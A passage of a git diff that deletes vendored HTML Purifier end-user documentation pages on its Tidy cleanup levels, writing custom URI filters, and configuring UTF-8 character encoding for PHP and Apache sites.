    - - - - - diff --git a/vendor/htmlpurifier/docs/enduser-tidy.html b/vendor/htmlpurifier/docs/enduser-tidy.html deleted file mode 100644 index a243f7fc2..000000000 --- a/vendor/htmlpurifier/docs/enduser-tidy.html +++ /dev/null @@ -1,231 +0,0 @@ - - - - - - - -Tidy - HTML Purifier - - - -

    Tidy

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    You've probably heard of HTML Tidy, Dave Raggett's little piece -of software that cleans up poorly written HTML. Let me say it straight -out:

    - -

    This ain't HTML Tidy!

    - -

    Rather, Tidy stands for a cool set of Tidy-inspired features in HTML Purifier -that allows users to submit deprecated elements and attributes and get -valid strict markup back. For example:

    - -
    <center>Centered</center>
    - -

    ...becomes:

    - -
    <div style="text-align:center;">Centered</div>
    - -

    ...when this particular fix is run on the HTML. This tutorial will give -you the lowdown of what exactly HTML Purifier will do when Tidy -is on, and how to fine-tune this behavior. Once again, you do -not need Tidy installed on your PHP to use these features!

    - -

    What does it do?

    - -

    Tidy will do several things to your HTML:

    - -
      -
    • Convert deprecated elements and attributes to standards-compliant - alternatives
    • -
    • Enforce XHTML compatibility guidelines and other best practices
    • -
    • Preserve data that would normally be removed as per W3C
    • -
    - -

    What are levels?

    - -

    Levels describe how aggressive the Tidy module should be when -cleaning up HTML. There are four levels to pick: none, light, medium -and heavy. Each of these levels has a well-defined set of behavior -associated with it, although it may change depending on your doctype.

    - -
    -
    light
    -
    This is the lenient level. If a tag or attribute - is about to be removed because it isn't supported by the - doctype, Tidy will step in and change into an alternative that - is supported.
    -
    medium
    -
    This is the correctional level. At this level, - all the functions of light are performed, as well as some extra, - non-essential best practices enforcement. Changes made on this - level are very benign and are unlikely to cause problems.
    -
    heavy
    -
    This is the aggressive level. If a tag or - attribute is deprecated, it will be converted into a non-deprecated - version, no ifs ands or buts.
    -
    - -

    By default, Tidy operates on the medium level. You can -change the level of cleaning by setting the %HTML.TidyLevel configuration -directive:

    - -
    $config->set('HTML.TidyLevel', 'heavy'); // burn baby burn!
    - -

    Is the light level really light?

    - -

    It depends on what doctype you're using. If your documents are HTML -4.01 Transitional, HTML Purifier will be lazy -and won't clean up your center -or font tags. But if you're using HTML 4.01 Strict, -HTML Purifier has no choice: it has to convert them, or they will -be nuked out of existence. So while light on Transitional will result -in little to no changes, light on Strict will still result in quite -a lot of fixes.

    - -

    This is different behavior from 1.6 or before, where deprecated -tags in transitional documents would -always be cleaned up regardless. This is also better behavior.

    - -

    My pages look different!

    - -

    HTML Purifier is tasked with converting deprecated tags and -attributes to standards-compliant alternatives, which usually -need copious amounts of CSS. It's also not foolproof: sometimes -things do get lost in the translation. This is why when HTML Purifier -can get away with not doing cleaning, it won't; this is why -the default value is medium and not heavy.

    - -

    Fortunately, only a few attributes have problems with the switch -over. They are described below:

    - - - - - - - - - - - - - - - - - - - - - - - - -
    Element@AttrChanges
    caption@alignFirefox supports stuffing the caption on the - left and right side of the table, a feature that - Internet Explorer, understandably, does not have. - When align equals right or left, the text will simply - be aligned on the left or right side.
    img@alignThe implementation for align bottom is good, but not - perfect. There are a few pixel differences.
    br@clearClear both gets a little wonky in Internet Explorer. Haven't - really been able to figure out why.
    hr@noshadeAll browsers implement this slightly differently: we've - chosen to make noshade horizontal rules gray.
    - -

    There are a few more minor, although irritating, bugs. -Some older browsers support deprecated attributes, -but not CSS. Transformed elements and attributes will look unstyled -to said browsers. Also, CSS precedence is slightly different for -inline styles versus presentational markup. In increasing precedence:

    - -
      -
    1. Presentational attributes
    2. -
    3. External style sheets
    4. -
    5. Inline styling
    6. -
    - -

    This means that styling that may have been masked by external CSS -declarations will start showing up (a good thing, perhaps). Finally, -if you've turned off the style attribute, almost all of -these transformations will not work. Sorry mates.

    - -

    You can review the rendering before and after of these transformations -by consulting the attrTransform.php -smoketest.

    - -

    I like the general idea, but the specifics bug me!

    - -

    So you want HTML Purifier to clean up your HTML, but you're not -so happy about the br@clear implementation. That's perfectly fine! -HTML Purifier will make accomodations:

    - -
    $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
    -$config->set('HTML.TidyLevel', 'heavy'); // all changes, minus...
    -$config->set('HTML.TidyRemove', 'br@clear');
    - -

    That third line does the magic, removing the br@clear fix -from the module, ensuring that <br clear="both" /> -will pass through unharmed. The reverse is possible too:

    - -
    $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
    -$config->set('HTML.TidyLevel', 'none'); // no changes, plus...
    -$config->set('HTML.TidyAdd', 'p@align');
    - -

    In this case, all transformations are shut off, except for the p@align -one, which you found handy.

    - -

    To find out what the names of fixes you want to turn on or off are, -you'll have to consult the source code, specifically the files in -HTMLPurifier/HTMLModule/Tidy/. There is, however, a -general syntax:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NameExampleInterpretation
    elementfontTag transform for element
    element@attrbr@clearAttribute transform for attr on element
    @attr@langGlobal attribute transform for attr
    e#content_model_typeblockquote#content_model_typeChange of child processing implementation for e
    - -

    So... what's the lowdown?

    - -

    The lowdown is, quite frankly, HTML Purifier's default settings are -probably good enough. The next step is to bump the level up to heavy, -and if that still doesn't satisfy your appetite, do some fine-tuning. -Other than that, don't worry about it: this all works silently and -effectively in the background.

    - - - - diff --git a/vendor/htmlpurifier/docs/enduser-uri-filter.html b/vendor/htmlpurifier/docs/enduser-uri-filter.html deleted file mode 100644 index d1b3354a3..000000000 --- a/vendor/htmlpurifier/docs/enduser-uri-filter.html +++ /dev/null @@ -1,204 +0,0 @@ - - - - - - - -URI Filters - HTML Purifier - - - -

    URI Filters

    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - This is a quick and dirty document to get you on your way to writing - custom URI filters for your own URL filtering needs. Why would you - want to write a URI filter? If you need URIs your users put into - HTML to magically change into a different URI, this is - exactly what you need! -

    - -

    Creating the class

    - -

    - Any URI filter you make will be a subclass of HTMLPurifier_URIFilter. - The scaffolding is thus: -

    - -
    class HTMLPurifier_URIFilter_NameOfFilter extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'NameOfFilter';
    -    public function prepare($config) {}
    -    public function filter(&$uri, $config, $context) {}
    -}
    - -

    - Fill in the variable $name with the name of your filter, and - take a look at the two methods. prepare() is an initialization - method that is called only once, before any filtering has been done of the - HTML. Use it to perform any costly setup work that only needs to be done - once. filter() is the guts and innards of our filter: - it takes the URI and does whatever needs to be done to it. -

    - -

    - If you've worked with HTML Purifier, you'll recognize the $config - and $context parameters. On the other hand, $uri - is something unique to this section of the application: it's a - HTMLPurifier_URI object. The interface is thus: -

    - -
    class HTMLPurifier_URI
    -{
    -    public $scheme, $userinfo, $host, $port, $path, $query, $fragment;
    -    public function HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment);
    -    public function toString();
    -    public function copy();
    -    public function getSchemeObj($config, $context);
    -    public function validate($config, $context);
    -}
    - -

    - The first three methods are fairly self-explanatory: you have a constructor, - a serializer, and a cloner. Generally, you won't be using them when - you are manipulating the URI objects themselves. - getSchemeObj() is a special purpose method that returns - a HTMLPurifier_URIScheme object corresponding to the specific - URI at hand. validate() performs general-purpose validation - on the internal components of a URI. Once again, you don't need to - worry about these: they've already been handled for you. -

    - -

    URI format

    - -

    - As a URIFilter, we're interested in the member variables of the URI object. -

    - - - - - - - - - -
    Scheme The protocol for identifying (and possibly locating) a resource (http, ftp, https)
    Userinfo User information such as a username (bob)
    Host Domain name or IP address of the server (example.com, 127.0.0.1)
    Port Network port number for the server (80, 12345)
    Path Data that identifies the resource, possibly hierarchical (/path/to, ed@example.com)
    Query String of information to be interpreted by the resource (?q=search-term)
    Fragment Additional information for the resource after retrieval (#bookmark)
    - -

    - Because the URI is presented to us in this form, and not - http://bob@example.com:8080/foo.php?q=string#hash, it saves us - a lot of trouble in having to parse the URI every time we want to filter - it. For the record, the above URI has the following components: -

    - - - - - - - - - -
    Scheme http
    Userinfo bob
    Host example.com
    Port 8080
    Path /foo.php
    Query q=string
    Fragment hash
    - -

    - Note that there is no question mark or octothorpe in the query or - fragment: these get removed during parsing. -

    - -

    - With this information, you can get straight to implementing your - filter() method. But one more thing... -

    - -

    Return value: Boolean, not URI

    - -

    - You may have noticed that the URI is being passed in by reference. - This means that whatever changes you make to it, those changes will - be reflected in the URI object the callee had. Do not - return the URI object: it is unnecessary and will cause bugs. - Instead, return a boolean value, true if the filtering was successful, - or false if the URI is beyond repair and needs to be axed. -

    - -

    - Let's suppose I wanted to write a filter that converted links with a - custom image scheme to its corresponding real path on - our website: -

    - -
    class HTMLPurifier_URIFilter_TransformImageScheme extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'TransformImageScheme';
    -    public function filter(&$uri, $config, $context) {
    -        if ($uri->scheme !== 'image') return true;
    -        $img_name = $uri->path;
    -        // Overwrite the previous URI object
    -        $uri = new HTMLPurifier_URI('http', null, null, null, '/img/' . $img_name . '.png', null, null);
    -        return true;
    -    }
    -}
    - -

    - Notice I did not return $uri;. This filter would turn - image:Foo into /img/Foo.png. -

    - -

    Activating your filter

    - -

    - Having a filter is all well and good, but you need to tell HTML Purifier - to use it. Fortunately, this part's simple: -

    - -
    $uri = $config->getDefinition('URI');
    -$uri->addFilter(new HTMLPurifier_URIFilter_NameOfFilter(), $config);
    - -

    - After adding a filter, you won't be able to set configuration directives. - Structure your code accordingly. -

    - - - -

    Post-filter

    - -

    - Remember our TransformImageScheme filter? That filter acted before we had - performed scheme validation; otherwise, the URI would have been filtered - out when it was discovered that there was no image scheme. Well, a post-filter - is run after scheme specific validation, so it's ideal for bulk - post-processing of URIs, including munging. To specify a URI as a post-filter, - set the $post member variable to TRUE. -

    - -
    class HTMLPurifier_URIFilter_MyPostFilter extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'MyPostFilter';
    -    public $post = true;
    -    // ... extra code here
    -}
    -
    - -

    Examples

    - -

    - Check the - URIFilter - directory for more implementation examples, and see the - new directives proposal document for ideas on what could be implemented - as a filter. -

    - - - - diff --git a/vendor/htmlpurifier/docs/enduser-utf8.html b/vendor/htmlpurifier/docs/enduser-utf8.html deleted file mode 100644 index 9b01a302a..000000000 --- a/vendor/htmlpurifier/docs/enduser-utf8.html +++ /dev/null @@ -1,1060 +0,0 @@ - - - - - - - - -UTF-8: The Secret of Character Encoding - HTML Purifier - - - - - -

    UTF-8: The Secret of Character Encoding

    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Character encoding and character sets are not that -difficult to understand, but so many people blithely stumble -through the worlds of programming without knowing what to actually -do about it, or say "Ah, it's a job for those internationalization -experts." No, it is not! This document will walk you through -determining the encoding of your system and how you should handle -this information. It will stay away from excessive discussion on -the internals of character encoding.

    - -

    This document is not designed to be read in its entirety: it will -slowly introduce concepts that build on each other: you need not get to -the bottom to have learned something new. However, I strongly -recommend you read all the way to Why UTF-8?, because at least -at that point you'd have made a conscious decision not to migrate, -which can be a rewarding (but difficult) task.

    - -
    -
    Asides
    -

    Text in this formatting is an aside, - interesting tidbits for the curious but not strictly necessary material to - do the tutorial. If you read this text, you'll come out - with a greater understanding of the underlying issues.

    -
    - -

    Table of Contents

    - -
      -
    1. Finding the real encoding
    2. -
    3. Finding the embedded encoding
    4. -
    5. Fixing the encoding
        -
      1. No embedded encoding
      2. -
      3. Embedded encoding disagrees
      4. -
      5. Changing the server encoding
          -
        1. PHP header() function
        2. -
        3. PHP ini directive
        4. -
        5. Non-PHP
        6. -
        7. .htaccess
        8. -
        9. File extensions
        10. -
      6. -
      7. XML
      8. -
      9. Inside the process
      10. -
    6. -
    7. Why UTF-8?
        -
      1. Internationalization
      2. -
      3. User-friendly
      4. -
      5. Forms
          -
        1. application/x-www-form-urlencoded
        2. -
        3. multipart/form-data
        4. -
      6. -
      7. Well supported
      8. -
      9. HTML Purifiers
      10. -
    8. -
    9. Migrate to UTF-8
        -
      1. Configuring your database
          -
        1. Legit method
        2. -
        3. Binary
        4. -
      2. -
      3. Text editor
      4. -
      5. Byte Order Mark (headers already sent!)
      6. -
      7. Fonts
          -
        1. Obscure scripts
        2. -
        3. Occasional use
        4. -
      8. -
      9. Dealing with variable width in functions
      10. -
    10. -
    11. Further Reading
    12. -
    - -

    Finding the real encoding

    - -

    In the beginning, there was ASCII, and things were simple. But they -weren't good, for no one could write in Cyrillic or Thai. So there -exploded a proliferation of character encodings to remedy the problem -by extending the characters ASCII could express. This ridiculously -simplified version of the history of character encodings shows us that -there are now many character encodings floating around.

    - -
    -

    A character encoding tells the computer how to - interpret raw zeroes and ones into real characters. It - usually does this by pairing numbers with characters.

    -

    There are many different types of character encodings floating - around, but the ones we deal most frequently with are ASCII, - 8-bit encodings, and Unicode-based encodings.

    -
      -
    • ASCII is a 7-bit encoding based on the - English alphabet.
    • -
    • 8-bit encodings are extensions to ASCII - that add a potpourri of useful, non-standard characters - like é and æ. They can only add 127 characters, - so usually only support one script at a time. When you - see a page on the web, chances are it's encoded in one - of these encodings.
    • -
    • Unicode-based encodings implement the - Unicode standard and include UTF-8, UTF-16 and UTF-32/UCS-4. - They go beyond 8-bits and support almost - every language in the world. UTF-8 is gaining traction - as the dominant international encoding of the web.
    • -
    -
    - -

    The first step of our journey is to find out what the encoding of -your website is. The most reliable way is to ask your -browser:

    - -
    -
    Mozilla Firefox
    -
    Tools > Page Info: Encoding
    -
    Internet Explorer
    -
    View > Encoding: bulleted item is unofficial name
    -
    - -

    Internet Explorer won't give you the MIME (i.e. useful/real) name of the -character encoding, so you'll have to look it up using their description. -Some common ones:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    IE's DescriptionMime Name
    Windows
    Arabic (Windows)Windows-1256
    Baltic (Windows)Windows-1257
    Central European (Windows)Windows-1250
    Cyrillic (Windows)Windows-1251
    Greek (Windows)Windows-1253
    Hebrew (Windows)Windows-1255
    Thai (Windows)TIS-620
    Turkish (Windows)Windows-1254
    Vietnamese (Windows)Windows-1258
    Western European (Windows)Windows-1252
    ISO
    Arabic (ISO)ISO-8859-6
    Baltic (ISO)ISO-8859-4
    Central European (ISO)ISO-8859-2
    Cyrillic (ISO)ISO-8859-5
    Estonian (ISO)ISO-8859-13
    Greek (ISO)ISO-8859-7
    Hebrew (ISO-Logical)ISO-8859-8-l
    Hebrew (ISO-Visual)ISO-8859-8
    Latin 9 (ISO)ISO-8859-15
    Turkish (ISO)ISO-8859-9
    Western European (ISO)ISO-8859-1
    Other
    Chinese Simplified (GB18030)GB18030
    Chinese Simplified (GB2312)GB2312
    Chinese Simplified (HZ)HZ
    Chinese Traditional (Big5)Big5
    Japanese (Shift-JIS)Shift_JIS
    Japanese (EUC)EUC-JP
    KoreanEUC-KR
    Unicode (UTF-8)UTF-8
    - -

    Internet Explorer does not recognize some of the more obscure -character encodings, and having to lookup the real names with a table -is a pain, so I recommend using Mozilla Firefox to find out your -character encoding.

    - -

    Finding the embedded encoding

    - -

    At this point, you may be asking, "Didn't we already find out our -encoding?" Well, as it turns out, there are multiple places where -a web developer can specify a character encoding, and one such place -is in a META tag:

    - -
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    - -

    You'll find this in the HEAD section of an HTML document. -The text to the right of charset= is the "claimed" -encoding: the HTML claims to be this encoding, but whether or not this -is actually the case depends on other factors. For now, take note -if your META tag claims that either:

    - -
      -
    1. The character encoding is the same as the one reported by the - browser,
    2. -
    3. The character encoding is different from the browser's, or
    4. -
    5. There is no META tag at all! (horror, horror!)
    6. -
    - -

    Fixing the encoding

    - -

    The advice given here is for pages being served as -vanilla text/html. Different practices must be used -for application/xml or application/xml+xhtml, see -W3C's -document on XHTML media types for more information.

    - -

    If your META encoding and your real encoding match, -savvy! You can skip this section. If they don't...

    - -

    No embedded encoding

    - -

    If this is the case, you'll want to add in the appropriate -META tag to your website. It's as simple as copy-pasting -the code snippet above and replacing UTF-8 with whatever is the mime name -of your real encoding.

    - -
    -

    For all those skeptics out there, there is a very good reason - why the character encoding should be explicitly stated. When the - browser isn't told what the character encoding of a text is, it - has to guess: and sometimes the guess is wrong. Hackers can manipulate - this guess in order to slip XSS past filters and then fool the - browser into executing it as active code. A great example of this - is the Google UTF-7 - exploit.

    -

    You might be able to get away with not specifying a character - encoding with the META tag as long as your webserver - sends the right Content-Type header, but why risk it? Besides, if - the user downloads the HTML file, there is no longer any webserver - to define the character encoding.

    -
    - -

    Embedded encoding disagrees

    - -

    This is an extremely common mistake: another source is telling -the browser what the -character encoding is and is overriding the embedded encoding. This -source usually is the Content-Type HTTP header that the webserver (i.e. -Apache) sends. A usual Content-Type header sent with a page might -look like this:

    - -
    Content-Type: text/html; charset=ISO-8859-1
    - -

    Notice how there is a charset parameter: this is the webserver's -way of telling a browser what the character encoding is, much like -the META tags we touched upon previously.

    - -

    In fact, the META tag is -designed as a substitute for the HTTP header for contexts where -sending headers is impossible (such as locally stored files without -a webserver). Thus the name http-equiv (HTTP equivalent). -

    - -

    There are two ways to go about fixing this: changing the META -tag to match the HTTP header, or changing the HTTP header to match -the META tag. How do we know which to do? It depends -on the website's content: after all, headers and tags are only ways of -describing the actual characters on the web page.

    - -

    If your website:

    - -
    -
    ...only uses ASCII characters,
    -
    Either way is fine, but I recommend switching both to - UTF-8 (more on this later).
    -
    ...uses special characters, and they display - properly,
    -
    Change the embedded encoding to the server encoding.
    -
    ...uses special characters, but users often complain that - they come out garbled,
    -
    Change the server encoding to the embedded encoding.
    -
    - -

    Changing a META tag is easy: just swap out the old encoding -for the new. Changing the server (HTTP header) encoding, however, -is slightly more difficult.

    - -

    Changing the server encoding

    - -

    PHP header() function

    - -

    The simplest way to handle this problem is to send the encoding -yourself, via your programming language. Since you're using HTML -Purifier, I'll assume PHP, although it's not too difficult to do -similar things in -other -languages. The appropriate code is:

    - -
    header('Content-Type:text/html; charset=UTF-8');
    - -

    ...replacing UTF-8 with whatever your embedded encoding is. -This code must come before any output, so be careful about -stray whitespace in your application (i.e., any whitespace before -output excluding whitespace within <?php ?> tags).

    - -

    PHP ini directive

    - -

    PHP also has a neat little ini directive that can save you a -header call: default_charset. Using this code:

    - -
    ini_set('default_charset', 'UTF-8');
    - -

    ...will also do the trick. If PHP is running as an Apache module (and -not as FastCGI, consult -phpinfo() for details), you can even use htaccess to apply this property -across many PHP files:

    - -
    php_value default_charset "UTF-8"
    - -

    As with all INI directives, this can -also go in your php.ini file. Some hosting providers allow you to customize -your own php.ini file, ask your support for details. Use:

    -
    default_charset = "utf-8"
    - -

    Non-PHP

    - -

    You may, for whatever reason, need to set the character encoding -on non-PHP files, usually plain ol' HTML files. Doing this -is more of a hit-or-miss process: depending on the software being -used as a webserver and the configuration of that software, certain -techniques may work, or may not work.

    - -

    .htaccess

    - -

    On Apache, you can use an .htaccess file to change the character -encoding. I'll defer to -W3C -for the in-depth explanation, but it boils down to creating a file -named .htaccess with the contents:

    - -
    AddCharset UTF-8 .html
    - -

    Where UTF-8 is replaced with the character encoding you want to -use and .html is a file extension that this will be applied to. This -character encoding will then be set for any file directly in -or in the subdirectories of directory you place this file in.

    - -

    If you're feeling particularly courageous, you can use:

    - -
    AddDefaultCharset UTF-8
    - -

    ...which changes the character set Apache adds to any document that -doesn't have any Content-Type parameters. This directive, which the -default configuration file sets to iso-8859-1 for security -reasons, is probably why your headers mismatch -with the META tag. If you would prefer Apache not to be -butting in on your character encodings, you can tell it not -to send anything at all:

    - -
    AddDefaultCharset Off
    - -

    ...making your internal charset declaration (usually the META tags) -the sole source of character encoding -information. In these cases, it is especially important to make -sure you have valid META tags on your pages and all the -text before them is ASCII.

    - -

    These directives can also be -placed in httpd.conf file for Apache, but -in most shared hosting situations you won't be able to edit this file. -

    - -

    File extensions

    - -

    If you're not allowed to use .htaccess files, you can often -piggy-back off of Apache's default AddCharset declarations to get -your files in the proper extension. Here are Apache's default -character set declarations:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CharsetFile extension(s)
    ISO-8859-1.iso8859-1 .latin1
    ISO-8859-2.iso8859-2 .latin2 .cen
    ISO-8859-3.iso8859-3 .latin3
    ISO-8859-4.iso8859-4 .latin4
    ISO-8859-5.iso8859-5 .latin5 .cyr .iso-ru
    ISO-8859-6.iso8859-6 .latin6 .arb
    ISO-8859-7.iso8859-7 .latin7 .grk
    ISO-8859-8.iso8859-8 .latin8 .heb
    ISO-8859-9.iso8859-9 .latin9 .trk
    ISO-2022-JP.iso2022-jp .jis
    ISO-2022-KR.iso2022-kr .kis
    ISO-2022-CN.iso2022-cn .cis
    Big5.Big5 .big5 .b5
    WINDOWS-1251.cp-1251 .win-1251
    CP866.cp866
    KOI8-r.koi8-r .koi8-ru
    KOI8-ru.koi8-uk .ua
    ISO-10646-UCS-2.ucs2
    ISO-10646-UCS-4.ucs4
    UTF-8.utf8
    GB2312.gb2312 .gb
    utf-7.utf7
    EUC-TW.euc-tw
    EUC-JP.euc-jp
    EUC-KR.euc-kr
    shift_jis.sjis
    - -

    So, for example, a file named page.utf8.html or -page.html.utf8 will probably be sent with the UTF-8 charset -attached, the difference being that if there is an -AddCharset charset .html declaration, it will override -the .utf8 extension in page.utf8.html (precedence moves -from right to left). By default, Apache has no such declaration.

    - -

    Microsoft IIS

    - -

    If anyone can contribute information on how to configure Microsoft -IIS to change character encodings, I'd be grateful.

    - -

    XML

    - -

    META tags are the most common source of embedded -encodings, but they can also come from somewhere else: XML -Declarations. They look like:

    - -
    <?xml version="1.0" encoding="UTF-8"?>
    - -

    ...and are most often found in XML documents (including XHTML).

    - -

    For XHTML, this XML Declaration theoretically -overrides the META tag. In reality, this happens only when the -XHTML is actually served as legit XML and not HTML, which is almost always -never due to Internet Explorer's lack of support for -application/xhtml+xml (even though doing so is often -argued to be good -practice and is required by the XHTML 1.1 specification).

    - -

    For XML, however, this XML Declaration is extremely important. -Since most webservers are not configured to send charsets for .xml files, -this is the only thing a parser has to go on. Furthermore, the default -for XML files is UTF-8, which often butts heads with more common -ISO-8859-1 encoding (you see this in garbled RSS feeds).

    - -

    In short, if you use XHTML and have gone through the -trouble of adding the XML Declaration, make sure it jives -with your META tags (which should only be present -if served in text/html) and HTTP headers.

    - -

    Inside the process

    - -

    This section is not required reading, -but may answer some of your questions on what's going on in all -this character encoding hocus pocus. If you're interested in -moving on to the next phase, skip this section.

    - -

    A logical question that follows all of our wheeling and dealing -with multiple sources of character encodings is "Why are there -so many options?" To answer this question, we have to turn -back our definition of character encodings: they allow a program -to interpret bytes into human-readable characters.

    - -

    Thus, a chicken-egg problem: a character encoding -is necessary to interpret the -text of a document. A META tag is in the text of a document. -The META tag gives the character encoding. How can we -determine the contents of a META tag, inside the text, -if we don't know it's character encoding? And how do we figure out -the character encoding, if we don't know the contents of the -META tag?

    - -

    Fortunately for us, the characters we need to write the -META are in ASCII, which is pretty much universal -over every character encoding that is in common use today. So, -all the web-browser has to do is parse all the way down until -it gets to the Content-Type tag, extract the character encoding -tag, then re-parse the document according to this new information.

    - -

    Obviously this is complicated, so browsers prefer the simpler -and more efficient solution: get the character encoding from a -somewhere other than the document itself, i.e. the HTTP headers, -much to the chagrin of HTML authors who can't set these headers.

    - -

    Why UTF-8?

    - -

    So, you've gone through all the trouble of ensuring that your -server and embedded characters all line up properly and are -present. Good job: at -this point, you could quit and rest easy knowing that your pages -are not vulnerable to character encoding style XSS attacks. -However, just as having a character encoding is better than -having no character encoding at all, having UTF-8 as your -character encoding is better than having some other random -character encoding, and the next step is to convert to UTF-8. -But why?

    - -

    Internationalization

    - -

    Many software projects, at one point or another, suddenly realize -that they should be supporting more than one language. Even regular -usage in one language sometimes requires the occasional special character -that, without surprise, is not available in your character set. Sometimes -developers get around this by adding support for multiple encodings: when -using Chinese, use Big5, when using Japanese, use Shift-JIS, when -using Greek, etc. Other times, they use character references with great -zeal.

    - -

    UTF-8, however, obviates the need for any of these complicated -measures. After getting the system to use UTF-8 and adjusting for -sources that are outside the hand of the browser (more on this later), -UTF-8 just works. You can use it for any language, even many languages -at once, you don't have to worry about managing multiple encodings, -you don't have to use those user-unfriendly entities.

    - -

    User-friendly

    - -

    Websites encoded in Latin-1 (ISO-8859-1) which occasionally need -a special character outside of their scope often will use a character -entity reference to achieve the desired effect. For instance, θ can be -written &theta;, regardless of the character encoding's -support of Greek letters.

    - -

    This works nicely for limited use of special characters, but -say you wanted this sentence of Chinese text: 激光, -這兩個字是甚麼意思. -The ampersand encoded version would look like this:

    - -
    &#28608;&#20809;, &#36889;&#20841;&#20491;&#23383;&#26159;&#29978;&#40636;&#24847;&#24605;
    - -

    Extremely inconvenient for those of us who actually know what -character entities are, totally unintelligible to poor users who don't! -Even the slightly more user-friendly, "intelligible" character -entities like &theta; will leave users who are -uninterested in learning HTML scratching their heads. On the other -hand, if they see θ in an edit box, they'll know that it's a -special character, and treat it accordingly, even if they don't know -how to write that character themselves.

    - -

    Wikipedia is a great case study for -an application that originally used ISO-8859-1 but switched to UTF-8 -when it became far to cumbersome to support foreign languages. Bots -will now actually go through articles and convert character entities -to their corresponding real characters for the sake of user-friendliness -and searchability. See -Meta's -page on special characters for more details. -

    - -

    Forms

    - -

    While we're on the tack of users, how do non-UTF-8 web forms deal -with characters that are outside of their character set? Rather than -discuss what UTF-8 does right, we're going to show what could go wrong -if you didn't use UTF-8 and people tried to use characters outside -of your character encoding.

    - -

    The troubles are large, extensive, and extremely difficult to fix (or, -at least, difficult enough that if you had the time and resources to invest -in doing the fix, you would be probably better off migrating to UTF-8). -There are two types of form submission: application/x-www-form-urlencoded -which is used for GET and by default for POST, and multipart/form-data -which may be used by POST, and is required when you want to upload -files.

    - -

    The following is a summarization of notes from - -FORM submission and i18n. That document contains lots -of useful information, but is written in a rambly manner, so -here I try to get right to the point. (Note: the original has -disappeared off the web, so I am linking to the Web Archive copy.)

    - -

    application/x-www-form-urlencoded

    - -

    This is the Content-Type that GET requests must use, and POST requests -use by default. It involves the ubiquitous percent encoding format that -looks something like: %C3%86. There is no official way of -determining the character encoding of such a request, since the percent -encoding operates on a byte level, so it is usually assumed that it -is the same as the encoding the page containing the form was submitted -in. (RFC 3986 -recommends that textual identifiers be translated to UTF-8; however, browser -compliance is spotty.) You'll run into very few problems -if you only use characters in the character encoding you chose.

    - -

    However, once you start adding characters outside of your encoding -(and this is a lot more common than you may think: take curly -"smart" quotes from Microsoft as an example), -a whole manner of strange things start to happen. Depending on the -browser you're using, they might:

    - -
      -
    • Replace the unsupported characters with useless question marks,
    • -
    • Attempt to fix the characters (example: smart quotes to regular quotes),
    • -
    • Replace the character with a character entity reference, or
    • -
    • Send it anyway as a different character encoding mixed in - with the original encoding (usually Windows-1252 rather than - iso-8859-1 or UTF-8 interspersed in 8-bit)
    • -
    - -

    To properly guard against these behaviors, you'd have to sniff out -the browser agent, compile a database of different behaviors, and -take appropriate conversion action against the string (disregarding -a spate of extremely mysterious, random and devastating bugs Internet -Explorer manifests every once in a while). Or you could -use UTF-8 and rest easy knowing that none of this could possibly happen -since UTF-8 supports every character.

    - -

    multipart/form-data

    - -

    Multipart form submission takes away a lot of the ambiguity -that percent-encoding had: the server now can explicitly ask for -certain encodings, and the client can explicitly tell the server -during the form submission what encoding the fields are in.

    - -

    There are two ways you go with this functionality: leave it -unset and have the browser send in the same encoding as the page, -or set it to UTF-8 and then do another conversion server-side. -Each method has deficiencies, especially the former.

    - -

    If you tell the browser to send the form in the same encoding as -the page, you still have the trouble of what to do with characters -that are outside of the character encoding's range. The behavior, once -again, varies: Firefox 2.0 converts them to character entity references -while Internet Explorer 7.0 mangles them beyond intelligibility. For -serious internationalization purposes, this is not an option.

    - -

    The other possibility is to set Accept-Encoding to UTF-8, which -begs the question: Why aren't you using UTF-8 for everything then? -This route is more palatable, but there's a notable caveat: your data -will come in as UTF-8, so you will have to explicitly convert it into -your favored local character encoding.

    - -

    I object to this approach on idealogical grounds: you're -digging yourself deeper into -the hole when you could have been converting to UTF-8 -instead. And, of course, you can't use this method for GET requests.

    - -

    Well supported

    - -

    Almost every modern browser in the wild today has full UTF-8 and Unicode -support: the number of troublesome cases can be counted with the -fingers of one hand, and these browsers usually have trouble with -other character encodings too. Problems users usually encounter stem -from the lack of appropriate fonts to display the characters (once -again, this applies to all character encodings and HTML entities) or -Internet Explorer's lack of intelligent font picking (which can be -worked around).

    - -

    We will go into more detail about how to deal with edge cases in -the browser world in the Migration section, but rest assured that -converting to UTF-8, if done correctly, will not result in users -hounding you about broken pages.

    - -

    HTML Purifier

    - -

    And finally, we get to HTML Purifier. HTML Purifier is built to -deal with UTF-8: any indications otherwise are the result of an -encoder that converts text from your preferred encoding to UTF-8, and -back again. HTML Purifier never touches anything else, and leaves -it up to the module iconv to do the dirty work.

    - -

    This approach, however, is not perfect. iconv is blithely unaware -of HTML character entities. HTML Purifier, in order to -protect against sophisticated escaping schemes, normalizes all character -and numeric entity references before processing the text. This leads to -one important ramification:

    - -

    Any character that is not supported by the target character -set, regardless of whether or not it is in the form of a character -entity reference or a raw character, will be silently ignored.

    - -

    Example of this principle at work: say you have &theta; -in your HTML, but the output is in Latin-1 (which, understandably, -does not understand Greek), the following process will occur (assuming you've -set the encoding correctly using %Core.Encoding):

    - -
      -
    • The Encoder will transform the text from ISO 8859-1 to UTF-8 - (note that theta is preserved here since it doesn't actually use - any non-ASCII characters): &theta;
    • -
    • The EntityParser will transform all named and numeric - character entities to their corresponding raw UTF-8 equivalents: - θ
    • -
    • HTML Purifier processes the code: θ
    • -
    • The Encoder now transforms the text back from UTF-8 - to ISO 8859-1. Since Greek is not supported by ISO 8859-1, it - will be either ignored or replaced with a question mark: - ?
    • -
    - -

